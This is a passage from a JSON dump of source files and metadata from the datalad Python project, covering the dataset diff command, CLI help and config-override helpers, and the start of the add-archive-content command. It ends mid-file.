\"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Report differences between two states of a dataset (hierarchy)\\\"\\\"\\\"\\n\\n__docformat__ = 'restructuredtext'\\n\\n\\nimport logging\\nimport os.path as op\\nfrom datalad.utils import (\\n ensure_list,\\n ensure_unicode,\\n get_dataset_root,\\n)\\nfrom datalad.interface.base import (\\n Interface,\\n build_doc,\\n eval_results,\\n)\\n\\nfrom datalad.distribution.dataset import (\\n Dataset,\\n datasetmethod,\\n require_dataset,\\n resolve_path,\\n path_under_rev_dataset,\\n)\\n\\nfrom datalad.support.constraints import (\\n EnsureNone,\\n EnsureStr,\\n)\\nfrom datalad.support.param import Parameter\\n\\nfrom datalad.core.local.status import (\\n Status,\\n _common_diffstatus_params,\\n)\\nfrom datalad.support.exceptions import (\\n InvalidGitReferenceError,\\n)\\n\\nlgr = logging.getLogger('datalad.core.local.diff')\\n\\n\\n@build_doc\\nclass Diff(Interface):\\n \\\"\\\"\\\"Report differences between two states of a dataset (hierarchy)\\n\\n The two to-be-compared states are given via the --from and --to options.\\n These state identifiers are evaluated in the context of the (specified\\n or detected) dataset. In the case of a recursive report on a dataset\\n hierarchy, corresponding state pairs for any subdataset are determined\\n from the subdataset record in the respective superdataset. Only changes\\n recorded in a subdataset between these two states are reported, and so on.\\n\\n Any paths given as additional arguments will be used to constrain the\\n difference report. As with Git's diff, it will not result in an error when\\n a path is specified that does not exist on the filesystem.\\n\\n Reports are very similar to those of the `status` command, with the\\n distinguished content types and states being identical.\\n \\\"\\\"\\\"\\n # make the custom renderer the default one, as the global default renderer\\n # does not yield meaningful output for this command\\n result_renderer = 'tailored'\\n\\n _params_ = dict(\\n _common_diffstatus_params,\\n path=Parameter(\\n args=(\\\"path\\\",),\\n metavar=\\\"PATH\\\",\\n doc=\\\"\\\"\\\"path to constrain the report to\\\"\\\"\\\",\\n nargs=\\\"*\\\",\\n constraints=EnsureStr() | EnsureNone()),\\n fr=Parameter(\\n args=(\\\"-f\\\", \\\"--from\\\",),\\n dest='fr',\\n metavar=\\\"REVISION\\\",\\n doc=\\\"\\\"\\\"original state to compare to, as given by any identifier\\n that Git understands.\\\"\\\"\\\",\\n constraints=EnsureStr()),\\n to=Parameter(\\n args=(\\\"-t\\\", \\\"--to\\\",),\\n metavar=\\\"REVISION\\\",\\n doc=\\\"\\\"\\\"state to compare against the original state, as given by\\n any identifier that Git understands. If none is specified,\\n the state of the working tree will be compared.\\\"\\\"\\\",\\n constraints=EnsureStr() | EnsureNone()),\\n )\\n\\n _examples_ = [\\n dict(text=\\\"Show unsaved changes in a dataset\\\",\\n code_py=\\\"diff()\\\",\\n code_cmd=\\\"datalad diff\\\"),\\n dict(text=\\\"Compare a previous dataset state identified by shasum \\\"\\n \\\"against current worktree\\\",\\n code_py=\\\"diff(fr='SHASUM')\\\",\\n code_cmd=\\\"datalad diff --from <SHASUM>\\\"),\\n dict(text=\\\"Compare two branches against each other\\\",\\n code_py=\\\"diff(fr='branch1', to='branch2')\\\",\\n code_cmd=\\\"datalad diff --from branch1 --to branch2\\\"),\\n dict(text=\\\"Show unsaved changes in the dataset and potential subdatasets\\\",\\n code_py=\\\"diff(recursive=True)\\\",\\n code_cmd=\\\"datalad diff -r\\\"),\\n dict(text=\\\"Show unsaved changes made to a particular file\\\",\\n code_py=\\\"diff(path='path/to/file')\\\",\\n code_cmd=\\\"datalad diff <path/to/file>\\\"),\\n ]\\n\\n @staticmethod\\n @datasetmethod(name='diff')\\n @eval_results\\n def __call__(\\n path=None,\\n *,\\n fr='HEAD',\\n to=None,\\n dataset=None,\\n annex=None,\\n untracked='normal',\\n recursive=False,\\n recursion_limit=None):\\n yield from diff_dataset(\\n dataset=dataset,\\n fr=ensure_unicode(fr),\\n to=ensure_unicode(to),\\n constant_refs=False,\\n path=path,\\n annex=annex,\\n untracked=untracked,\\n recursive=recursive,\\n recursion_limit=recursion_limit)\\n\\n @staticmethod\\n def custom_result_renderer(res, **kwargs): # pragma: more cover\\n Status.custom_result_renderer(res, **kwargs)\\n\\n\\ndef diff_dataset(\\n dataset,\\n fr,\\n to,\\n constant_refs,\\n path=None,\\n annex=None,\\n untracked='normal',\\n recursive=False,\\n recursion_limit=None,\\n reporting_order='depth-first',\\n datasets_only=False,\\n):\\n \\\"\\\"\\\"Internal helper to diff a dataset\\n\\n Parameters\\n ----------\\n dataset : Dataset\\n Dataset to perform the diff on. `fr` and `to` parameters are interpreted\\n in the context of this dataset.\\n fr : str\\n Commit-ish to compare from.\\n to : str\\n Commit-ish to compare to.\\n constant_refs : bool\\n If True, `fr` and `to` will be passed on unmodified to diff operations\\n on subdatasets. This can be useful with symbolic references like tags\\n to report subdataset changes independent of superdataset changes.\\n If False, `fr` and `to` will be translated to the subdataset commit-ish\\n that match the given commit-ish in the superdataset.\\n path : Path-like, optional\\n Paths to constrain the diff to (see main diff() command).\\n annex : str, optional\\n Reporting mode for annex properties (see main diff() command).\\n untracked : str, optional\\n Reporting mode for untracked content (see main diff() command).\\n recursive : bool, optional\\n Flag to enable recursive operation (see main diff() command).\\n recursion_limit : int, optional\\n Recursion limit (see main diff() command).\\n reporting_order : {'depth-first', 'breadth-first', 'bottom-up'}, optional\\n By default, subdataset content records are reported after the record\\n on the subdataset's submodule in a superdataset (depth-first).\\n Alternatively, report all superdataset records first, before reporting\\n any subdataset content records (breadth-first). Both 'depth-first'\\n and 'breadth-first' both report dataset content before considering\\n subdatasets. Alternative 'bottom-up' mode is similar to 'depth-first'\\n but dataset content is reported after reporting on subdatasets.\\n datasets_only : bool, optional\\n Consider only changes to (sub)datasets but limiting operation only to\\n paths of subdatasets.\\n Note: ATM incompatible with explicit specification of `path`.\\n\\n Yields\\n ------\\n dict\\n DataLad result records.\\n \\\"\\\"\\\"\\n if reporting_order not in ('depth-first', 'breadth-first', 'bottom-up'):\\n raise ValueError('Unknown reporting order: {}'.format(reporting_order))\\n\\n ds = require_dataset(\\n dataset, check_installed=True, purpose='report difference')\\n\\n # we cannot really perform any sorting of paths into subdatasets\\n # or rejecting paths based on the state of the filesystem, as\\n # we need to be able to compare with states that are not represented\\n # in the worktree (anymore)\\n if path:\\n if datasets_only:\\n raise NotImplementedError(\\n \\\"Analysis of provided paths in datasets_only mode is not implemented\\\"\\n )\\n\\n ps = []\\n # sort any path argument into the respective subdatasets\\n for p in sorted(ensure_list(path)):\\n # it is important to capture the exact form of the\\n # given path argument, before any normalization happens\\n # distinguish rsync-link syntax to identify\\n # a dataset as whole (e.g. 'ds') vs its\\n # content (e.g. 'ds/')\\n # special case is the root dataset, always report its content\\n # changes\\n orig_path = str(p)\\n resolved_path = resolve_path(p, dataset)\\n p = \\\\\\n resolved_path, \\\\\\n orig_path.endswith(op.sep) or resolved_path == ds.pathobj\\n str_path = str(p[0])\\n root = get_dataset_root(str_path)\\n if root is None:\\n # no root, not possibly underneath the refds\\n yield dict(\\n action='status',\\n path=str_path,\\n refds=ds.path,\\n status='error',\\n message='path not underneath this dataset',\\n logger=lgr)\\n continue\\n if path_under_rev_dataset(ds, str_path) is None:\\n # nothing we support handling any further\\n # there is only a single refds\\n yield dict(\\n path=str_path,\\n refds=ds.path,\\n action='diff',\\n status='error',\\n message=(\\n \\\"dataset containing given paths is not underneath \\\"\\n \\\"the reference dataset %s: %s\\\",\\n ds, str_path),\\n logger=lgr,\\n )\\n continue\\n\\n ps.append(p)\\n path = ps\\n\\n # TODO we might want to move away from the single-pass+immediate-yield\\n # paradigm for this command. If we gather all information first, we\\n # could do post-processing and detect when a file (same gitsha, or same\\n # key) was copied/moved from another dataset. Another command (e.g.\\n # save) could act on this information and also move/copy\\n # availability information or at least enhance the respective commit\\n # message with cross-dataset provenance info\\n\\n # cache to help avoid duplicate status queries\\n content_info_cache = {}\\n for res in _diff_ds(\\n ds,\\n fr,\\n to,\\n constant_refs,\\n recursion_limit\\n if recursion_limit is not None and recursive\\n else -1 if recursive else 0,\\n # TODO recode paths to repo path reference\\n origpaths=None if not path else dict(path),\\n untracked=untracked,\\n annexinfo=annex,\\n cache=content_info_cache,\\n order=reporting_order,\\n datasets_only=datasets_only,\\n ):\\n res.update(\\n refds=ds.path,\\n logger=lgr,\\n action='diff',\\n )\\n yield res\\n\\n\\ndef _diff_ds(ds, fr, to, constant_refs, recursion_level, origpaths, untracked,\\n annexinfo, cache, order='depth-first', datasets_only=False):\\n if not ds.is_installed():\\n # asked to query a subdataset that is not available\\n lgr.debug(\\\"Skip diff of unavailable subdataset: %s\\\", ds)\\n return\\n\\n repo = ds.repo\\n repo_path = repo.pathobj\\n if datasets_only:\\n assert not origpaths # protected above with NotImplementedError\\n paths = dict(\\n (sds.pathobj.relative_to(ds.pathobj), False)\\n for sds in ds.subdatasets(\\n recursive=False,\\n state='present',\\n result_renderer='disabled',\\n result_xfm='datasets',\\n )\\n )\\n if not paths:\\n # no subdatasets, nothing todo???\\n return\\n else:\\n # filter and normalize paths that match this dataset before passing them\\n # onto the low-level query method\\n paths = None if origpaths is None \\\\\\n else dict(\\n (repo_path / p.relative_to(ds.pathobj), goinside)\\n for p, goinside in origpaths.items()\\n if ds.pathobj in p.parents or (p == ds.pathobj and goinside)\\n )\\n paths_arg = list(paths) if paths else None\\n try:\\n lgr.debug(\\\"Diff %s from '%s' to '%s'\\\", ds, fr, to)\\n diff_state = repo.diffstatus(\\n fr,\\n to,\\n paths=paths_arg,\\n untracked=untracked,\\n eval_submodule_state='full' if to is None else 'commit',\\n _cache=cache)\\n except InvalidGitReferenceError as e:\\n yield dict(\\n path=ds.path,\\n status='impossible',\\n message=str(e),\\n )\\n return\\n\\n if annexinfo and hasattr(repo, 'get_content_annexinfo'):\\n # this will amend `diff_state`\\n repo.get_content_annexinfo(\\n paths=paths_arg,\\n init=diff_state,\\n eval_availability=annexinfo in ('availability', 'all'),\\n ref=to)\\n # if `fr` is None, we compare against a preinit state, and\\n # a get_content_annexinfo on that state doesn't get us anything new\\n if fr and fr != to:\\n repo.get_content_annexinfo(\\n paths=paths_arg,\\n init=diff_state,\\n eval_availability=annexinfo in ('availability', 'all'),\\n ref=fr,\\n key_prefix=\\\"prev_\\\")\\n\\n # potentially collect subdataset diff call specs for the end\\n # (if order == 'breadth-first')\\n ds_diffs = []\\n subds_diffcalls = []\\n for path, props in diff_state.items():\\n pathinds = str(ds.pathobj / path.relative_to(repo_path))\\n path_rec = dict(\\n props,\\n path=pathinds,\\n # report the dataset path rather than the repo path to avoid\\n # realpath/symlink issues\\n parentds=ds.path,\\n status='ok',\\n )\\n if order in ('breadth-first', 'depth-first'):\\n yield path_rec\\n elif order == 'bottom-up':\\n ds_diffs.append(path_rec)\\n else:\\n raise ValueError(order)\\n # for a dataset we need to decide whether to dive in, or not\\n if props.get('type', None) == 'dataset' and (\\n # subdataset path was given in rsync-style 'ds/'\\n (paths and paths.get(path, False))\\n # there is still sufficient recursion level left\\n or recursion_level != 0\\n # no recursion possible anymore, but one of the given\\n # path arguments is in this subdataset\\n or (recursion_level == 0\\n and paths\\n and any(path in p.parents for p in paths))):\\n subds_state = props.get('state', None)\\n if subds_state in ('clean', 'deleted'):\\n # no need to look into the subdataset\\n continue\\n elif subds_state in ('added', 'modified'):\\n # dive\\n subds = Dataset(pathinds)\\n call_args = (\\n subds,\\n # from before time or from the reported state\\n fr if constant_refs\\n else None\\n if subds_state == 'added'\\n else props['prev_gitshasum'],\\n # to the last recorded state, or the worktree\\n None if to is None\\n else to if constant_refs\\n else props['gitshasum'],\\n constant_refs,\\n )\\n call_kwargs = dict(\\n # subtract on level on the way down, unless the path\\n # args instructed to go inside this subdataset\\n recursion_level=recursion_level\\n # protect against dropping below zero (would mean unconditional\\n # recursion)\\n if not recursion_level or (paths and paths.get(path, False))\\n else recursion_level - 1,\\n origpaths=origpaths,\\n untracked=untracked,\\n annexinfo=annexinfo,\\n cache=cache,\\n order=order,\\n datasets_only=datasets_only,\\n )\\n if order in ('depth-first', 'bottom-up'):\\n yield from _diff_ds(*call_args, **call_kwargs)\\n elif order == 'breadth-first':\\n subds_diffcalls.append((call_args, call_kwargs))\\n else:\\n raise ValueError(order)\\n else:\\n raise RuntimeError(\\n \\\"Unexpected subdataset state '{}'. That sucks!\\\".format(\\n subds_state))\\n # deal with staged ds diffs (for bottom-up)\\n for rec in ds_diffs:\\n yield rec\\n # deal with staged subdataset diffs (for breadth-first)\\n for call_args, call_kwargs in subds_diffcalls:\\n yield from _diff_ds(*call_args, **call_kwargs)\\n\"\n },\n {\n \"alpha_fraction\": 0.5681620240211487,\n \"alphanum_fraction\": 0.5726189613342285,\n \"avg_line_length\": 36.25992965698242,\n \"blob_id\": \"ebd49547e2bb2d06c78d58b9b32a0385e7e6822f\",\n \"content_id\": \"7530099921ade335c01e23f30642e52f689725e5\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 10321,\n \"license_type\": \"permissive\",\n \"max_line_length\": 94,\n \"num_lines\": 277,\n \"path\": \"/datalad/cli/helpers.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"CONFIRMED TO BE UNIQUE TO THE CLI\\n\\\"\\\"\\\"\\n\\n__docformat__ = 'restructuredtext'\\n\\nimport argparse\\nimport os\\nimport re\\nimport sys\\nimport gzip\\nimport textwrap\\nfrom textwrap import wrap\\n\\nfrom datalad import __version__\\n# delay?\\nfrom datalad.support.exceptions import CapturedException\\nfrom datalad.ui.utils import get_console_width\\nfrom datalad.utils import is_interactive\\n\\nfrom platformdirs import AppDirs\\n\\ndirs = AppDirs(\\\"datalad\\\", \\\"datalad.org\\\")\\n\\n\\nfrom logging import getLogger\\nlgr = getLogger('datalad.cli.helpers')\\n\\n\\nclass HelpAction(argparse.Action):\\n def __call__(self, parser, namespace, values, option_string=None):\\n # Lets use the manpage on mature systems but only for subcommands --\\n # --help should behave similar to how git does it:\\n # regular --help for \\\"git\\\" but man pages for specific commands.\\n # It is important since we do discover all subcommands from entry\\n # points at run time and thus any static manpage would like be out of\\n # date\\n interactive = is_interactive()\\n if interactive \\\\\\n and option_string == '--help' \\\\\\n and ' ' in parser.prog: # subcommand\\n self._try_manpage(parser)\\n if option_string == '-h':\\n helpstr = self._get_short_help(parser)\\n else:\\n helpstr = self._get_long_help(parser)\\n\\n # normalize capitalization to what we \\\"always\\\" had\\n helpstr = f'Usage:{helpstr[6:]}'\\n\\n if interactive and option_string == '--help':\\n import pydoc\\n pydoc.pager(helpstr)\\n else:\\n print(helpstr)\\n sys.exit(0)\\n\\n def _get_long_help(self, parser):\\n helpstr = parser.format_help()\\n if ' ' in parser.prog: # subcommand\\n # in case of a subcommand there is no need to pull the\\n # list of top-level subcommands\\n return helpstr\\n helpstr = re.sub(\\n r'^[uU]sage: .*?\\\\n\\\\s*\\\\n',\\n 'Usage: datalad [global-opts] command [command-opts]\\\\n\\\\n',\\n helpstr,\\n flags=re.MULTILINE | re.DOTALL)\\n # split into preamble and options\\n preamble = []\\n options = []\\n in_options = False\\n for line in helpstr.splitlines():\\n if line in ('options:', 'optional arguments:'):\\n in_options = True\\n continue\\n (options if in_options else preamble).append(line)\\n\\n intf = self._get_all_interfaces()\\n from datalad.interface.base import (\\n get_cmd_doc,\\n load_interface,\\n )\\n from .interface import (\\n get_cmdline_command_name,\\n alter_interface_docs_for_cmdline,\\n )\\n preamble = get_description_with_cmd_summary(\\n # produce a mapping of command groups to\\n # [(cmdname, description), ...]\\n {\\n i[0]: [(\\n get_cmdline_command_name(c),\\n # alter_interface_docs_for_cmdline is only needed, because\\n # some commands use sphinx markup in their summary line\\n # stripping that takes 10-30ms for a typical datalad\\n # installation with some extensions\\n alter_interface_docs_for_cmdline(\\n # we only take the first line\\n get_cmd_doc(\\n # we must import the interface class\\n # this will engage @build_doc -- unavoidable right\\n # now\\n load_interface(c)\\n ).split('\\\\n', maxsplit=1)[0]))\\n for c in i[2]]\\n for i in intf\\n },\\n intf,\\n '\\\\n'.join(preamble),\\n )\\n return '{}\\\\n\\\\n*Global options*\\\\n{}\\\\n'.format(\\n preamble,\\n '\\\\n'.join(options),\\n )\\n\\n def _get_short_help(self, parser):\\n usage = parser.format_usage()\\n hint = \\\"Use '--help' to get more comprehensive information.\\\"\\n if ' ' in parser.prog: # subcommand\\n # in case of a subcommand there is no need to pull the\\n # list of top-level subcommands\\n return f\\\"{usage}\\\\n{hint}\\\"\\n\\n # get the list of commands and format them like\\n # argparse would present subcommands\\n commands = get_commands_from_groups(self._get_all_interfaces())\\n indent = usage.splitlines()[-1]\\n indent = indent[:-len(indent.lstrip())] + ' '\\n usage += f'{indent[1:]}{{'\\n usage += '\\\\n'.join(wrap(\\n ', '.join(sorted(c.strip() for c in commands)),\\n break_on_hyphens=False,\\n subsequent_indent=indent))\\n usage += f'}}\\\\n{indent[1:]}...\\\\n'\\n return f\\\"{usage}\\\\n{hint}\\\"\\n\\n def _get_all_interfaces(self):\\n # load all extensions and command specs\\n # this does not fully tune all the command docs\\n from datalad.interface.base import get_interface_groups\\n interface_groups = get_interface_groups()\\n add_entrypoints_to_interface_groups(interface_groups)\\n return interface_groups\\n\\n def _try_manpage(self, parser):\\n try:\\n import subprocess\\n # get the datalad manpage to use\\n manfile = os.environ.get('MANPATH', '/usr/share/man') \\\\\\n + '/man1/{0}.1.gz'.format(parser.prog.replace(' ', '-'))\\n # extract version field from the manpage\\n if not os.path.exists(manfile):\\n raise IOError(\\\"manfile is not found\\\")\\n with gzip.open(manfile) as f:\\n man_th = [line for line in f if line.startswith(b\\\".TH\\\")][0]\\n man_version = man_th.split(b' ')[-1].strip(b\\\" '\\\\\\\"\\\\t\\\\n\\\").decode('utf-8')\\n\\n # don't show manpage if man_version not equal to current datalad_version\\n if __version__ != man_version:\\n raise ValueError\\n subprocess.check_call(\\n 'man %s 2> /dev/null' % manfile,\\n shell=True)\\n sys.exit(0)\\n except (subprocess.CalledProcessError, IOError, OSError, IndexError, ValueError) as e:\\n ce = CapturedException(e)\\n lgr.debug(\\\"Did not use manpage since %s\\\", ce)\\n\\n\\nclass LogLevelAction(argparse.Action):\\n def __call__(self, parser, namespace, values, option_string=None):\\n from datalad.log import LoggerHelper\\n LoggerHelper().set_level(level=values)\\n\\n\\n#\\n# Some logic modules extracted from main.py to de-spagetify\\n#\\n\\n\\ndef add_entrypoints_to_interface_groups(interface_groups):\\n from datalad.support.entrypoints import iter_entrypoints\\n for name, _, spec in iter_entrypoints('datalad.extensions', load=True):\\n if len(spec) < 2 or not spec[1]:\\n # entrypoint identity was logged by the iterator already\\n lgr.debug('Extension does not provide a command suite')\\n continue\\n interface_groups.append((name, spec[0], spec[1]))\\n\\n\\ndef get_commands_from_groups(groups):\\n \\\"\\\"\\\"Get a dictionary of command: interface_spec\\\"\\\"\\\"\\n from .interface import get_cmdline_command_name\\n return {\\n get_cmdline_command_name(_intfspec): _intfspec\\n for _, _, _interfaces in groups\\n for _intfspec in _interfaces\\n }\\n\\n\\ndef _fix_datalad_ri(s):\\n \\\"\\\"\\\"Fixup argument if it was a DataLadRI and had leading / removed\\n\\n See gh-2643\\n \\\"\\\"\\\"\\n if s.startswith('//') and (len(s) == 2 or (len(s) > 2 and s[2] != '/')):\\n lgr.info(\\n \\\"Changing %s back to /%s as it was probably changed by MINGW/MSYS, \\\"\\n \\\"see http://www.mingw.org/wiki/Posix_path_conversion\\\", s, s)\\n return \\\"/\\\" + s\\n return s\\n\\n\\ndef get_description_with_cmd_summary(grp_short_descriptions, interface_groups,\\n parser_description):\\n from .interface import (\\n dedent_docstring,\\n )\\n from datalad.interface.base import get_cmd_summaries\\n lgr.debug(\\\"Generating detailed description for the parser\\\")\\n\\n console_width = get_console_width()\\n cmd_summary = get_cmd_summaries(grp_short_descriptions, interface_groups,\\n width=console_width)\\n # we need one last formal section to not have the trailed be\\n # confused with the last command group\\n cmd_summary.append('\\\\n*General information*\\\\n')\\n detailed_description = '{}{}\\\\n{}\\\\n'.format(\\n parser_description,\\n '\\\\n'.join(cmd_summary),\\n textwrap.fill(dedent_docstring(\\\"\\\"\\\"\\\\\\n Detailed usage information for individual commands is\\n available via command-specific --help, i.e.:\\n datalad <command> --help\\\"\\\"\\\"),\\n console_width - 5,\\n initial_indent='',\\n subsequent_indent=''))\\n return detailed_description\\n\\n\\ndef _parse_overrides_from_cmdline(cmdlineargs):\\n \\\"\\\"\\\"parse config overrides provided in command line\\n\\n Might exit(3) the entire process if value is not assigned\\\"\\\"\\\"\\n # this expression is deliberately loose as gitconfig offers\\n # quite some flexibility -- this is just meant to catch stupid\\n # errors: we need a section, a variable, and a value at minimum\\n # otherwise we break our own config parsing helpers\\n # https://github.com/datalad/datalad/issues/3451\\n assign_expr = re.compile(r'[^\\\\s]+\\\\.[^\\\\s]+=[\\\\S]+')\\n unset_expr = re.compile(r':[^\\\\s]+\\\\.[^\\\\s=]+')\\n noassign = [\\n o\\n for o in cmdlineargs.cfg_overrides\\n if not (assign_expr.match(o) or unset_expr.match(o))\\n ]\\n if noassign:\\n lgr.error(\\n \\\"Configuration override without section/variable \\\"\\n \\\"or unset marker or value assignment \\\"\\n \\\"(must be '(:section.variable|section.variable=value)'): %s\\\",\\n noassign)\\n sys.exit(3)\\n overrides = dict(\\n [o[1:], None] if o.startswith(':')\\n else o.split('=', 1)\\n for o in cmdlineargs.cfg_overrides\\n )\\n return overrides\\n\"\n },\n {\n \"alpha_fraction\": 0.5134968757629395,\n \"alphanum_fraction\": 0.5148270726203918,\n \"avg_line_length\": 42.22861099243164,\n \"blob_id\": \"3eb5ff40aa453fb77bd1453589bc914473bf3886\",\n \"content_id\": \"a75152d2b1a872a927ded8f25dc60d27c71c45c3\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\",\n \"LicenseRef-scancode-unknown-license-reference\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 30822,\n \"license_type\": \"permissive\",\n \"max_line_length\": 184,\n \"num_lines\": 713,\n \"path\": \"/datalad/local/add_archive_content.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"High-level interface for adding content of an archive under annex control\\n\\n\\\"\\\"\\\"\\n\\n__docformat__ = 'restructuredtext'\\n\\n\\nimport os\\nimport re\\nimport tempfile\\nimport warnings\\nfrom os.path import (\\n basename,\\n curdir,\\n exists,\\n)\\nfrom os.path import join as opj\\nfrom os.path import lexists\\nfrom os.path import sep as opsep\\n\\nfrom datalad.consts import ARCHIVES_SPECIAL_REMOTE\\nfrom datalad.customremotes.base import ensure_datalad_remote\\nfrom datalad.distribution.dataset import (\\n EnsureDataset,\\n datasetmethod,\\n require_dataset,\\n resolve_path,\\n)\\nfrom datalad.interface.base import (\\n Interface,\\n build_doc,\\n eval_results,\\n)\\nfrom datalad.interface.common_opts import allow_dirty\\nfrom datalad.interface.results import get_status_dict\\nfrom datalad.log import (\\n log_progress,\\n logging,\\n)\\nfrom datalad.support.annexrepo import AnnexRepo\\nfrom datalad.support.constraints import (\\n EnsureNone,\\n EnsureStr,\\n)\\nfrom datalad.support.param import Parameter\\nfrom datalad.support.stats import ActivityStats\\nfrom datalad.support.strings import apply_replacement_rules\\nfrom datalad.utils import (\\n Path,\\n ensure_tuple_or_list,\\n file_basename,\\n getpwd,\\n md5sum,\\n rmtree,\\n split_cmdline,\\n)\\n\\nlgr = logging.getLogger('datalad.local.add_archive_content')\\n\\n\\n# Shortcut note\\n_KEY_OPT = \\\"[PY: `key=True` PY][CMD: --key CMD]\\\"\\n_KEY_OPT_NOTE = \\\"Note that it will be of no effect if %s is given\\\" % _KEY_OPT\\n\\n# TODO: may be we could enable separate logging or add a flag to enable\\n# all but by default to print only the one associated with this given action\\n\\n\\n@build_doc\\nclass AddArchiveContent(Interface):\\n \\\"\\\"\\\"Add content of an archive under git annex control.\\n\\n Given an already annex'ed archive, extract and add its files to the\\n dataset, and reference the original archive as a custom special remote.\\n\\n \\\"\\\"\\\"\\n _examples_ = [\\n dict(text=\\\"\\\"\\\"Add files from the archive 'big_tarball.tar.gz', but\\n keep big_tarball.tar.gz in the index\\\"\\\"\\\",\\n code_py=\\\"add_archive_content(path='big_tarball.tar.gz')\\\",\\n code_cmd=\\\"datalad add-archive-content big_tarball.tar.gz\\\"),\\n dict(text=\\\"\\\"\\\"Add files from the archive 'tarball.tar.gz', and\\n remove big_tarball.tar.gz from the index\\\"\\\"\\\",\\n code_py=\\\"add_archive_content(path='big_tarball.tar.gz', delete=True)\\\",\\n code_cmd=\\\"datalad add-archive-content big_tarball.tar.gz --delete\\\"),\\n dict(text=\\\"\\\"\\\"Add files from the archive 's3.zip' but remove the leading\\n directory\\\"\\\"\\\",\\n code_py=\\\"add_archive_content(path='s3.zip', strip_leading_dirs=True)\\\",\\n code_cmd=\\\"datalad add-archive-content s3.zip --strip-leading-dirs\\\"),\\n ]\\n\\n # XXX prevent common args from being added to the docstring\\n _no_eval_results = True\\n _params_ = dict(\\n dataset=Parameter(\\n args=(\\\"-d\\\", \\\"--dataset\\\"),\\n doc=\\\"\\\"\\\"\\\"specify the dataset to save\\\"\\\"\\\",\\n constraints=EnsureDataset() | EnsureNone()),\\n delete=Parameter(\\n args=(\\\"-D\\\", \\\"--delete\\\"),\\n action=\\\"store_true\\\",\\n doc=\\\"\\\"\\\"delete original archive from the filesystem/Git in current\\n tree. %s\\\"\\\"\\\" % _KEY_OPT_NOTE),\\n add_archive_leading_dir=Parameter(\\n args=(\\\"--add-archive-leading-dir\\\",),\\n action=\\\"store_true\\\",\\n doc=\\\"\\\"\\\"place extracted content under a directory which would\\n correspond to the archive name with all suffixes stripped. E.g. the\\n content of `archive.tar.gz` will be extracted under `archive/`\\\"\\\"\\\"),\\n strip_leading_dirs=Parameter(\\n args=(\\\"--strip-leading-dirs\\\",),\\n action=\\\"store_true\\\",\\n doc=\\\"\\\"\\\"remove one or more leading directories from the archive\\n layout on extraction\\\"\\\"\\\"),\\n leading_dirs_depth=Parameter(\\n args=(\\\"--leading-dirs-depth\\\",),\\n action=\\\"store\\\",\\n type=int,\\n doc=\\\"\\\"\\\"maximum depth of leading directories to strip.\\n If not specified (None), no limit\\\"\\\"\\\"),\\n leading_dirs_consider=Parameter(\\n args=(\\\"--leading-dirs-consider\\\",),\\n action=\\\"append\\\",\\n doc=\\\"\\\"\\\"regular expression(s) for directories to consider to strip\\n away\\\"\\\"\\\",\\n constraints=EnsureStr() | EnsureNone(),\\n ),\\n use_current_dir=Parameter(\\n args=(\\\"--use-current-dir\\\",),\\n action=\\\"store_true\\\",\\n doc=\\\"\\\"\\\"extract the archive under the current directory, not the\\n directory where the archive is located. This parameter is applied\\n automatically if [PY: `key=True` PY][CMD: --key CMD] was used.\\\"\\\"\\\"),\\n # TODO: add option to extract under archive's original directory. Currently would extract in curdir\\n existing=Parameter(\\n args=(\\\"--existing\\\",),\\n choices=('fail', 'overwrite', 'archive-suffix', 'numeric-suffix'),\\n default=\\\"fail\\\",\\n doc=\\\"\\\"\\\"what operation to perform if a file from an archive tries to\\n overwrite an existing file with the same name. 'fail' (default)\\n leads to an error result, 'overwrite' silently replaces\\n existing file, 'archive-suffix' instructs to add a suffix (prefixed\\n with a '-') matching archive name from which file gets extracted,\\n and if that one is present as well, 'numeric-suffix' is in effect in\\n addition, when incremental numeric suffix (prefixed with a '.') is\\n added until no name collision is longer detected\\\"\\\"\\\"\\n ),\\n exclude=Parameter(\\n args=(\\\"-e\\\", \\\"--exclude\\\"),\\n action='append',\\n doc=\\\"\\\"\\\"regular expressions for filenames which to exclude from being\\n added to annex. Applied after --rename if that one is specified.\\n For exact matching, use anchoring\\\"\\\"\\\",\\n constraints=EnsureStr() | EnsureNone()\\n ),\\n rename=Parameter(\\n args=(\\\"-r\\\", \\\"--rename\\\"),\\n action='append',\\n doc=\\\"\\\"\\\"regular expressions to rename files before added them under\\n to Git. The first defines how to split provided string into\\n two parts: Python regular expression (with groups), and replacement\\n string\\\"\\\"\\\",\\n constraints=EnsureStr(min_len=2) | EnsureNone()\\n ),\\n annex_options=Parameter(\\n args=(\\\"-o\\\", \\\"--annex-options\\\"),\\n doc=\\\"\\\"\\\"additional options to pass to git-annex \\\"\\\"\\\",\\n constraints=EnsureStr() | EnsureNone()\\n ),\\n annex=Parameter(\\n doc=\\\"\\\"\\\"DEPRECATED. Use the 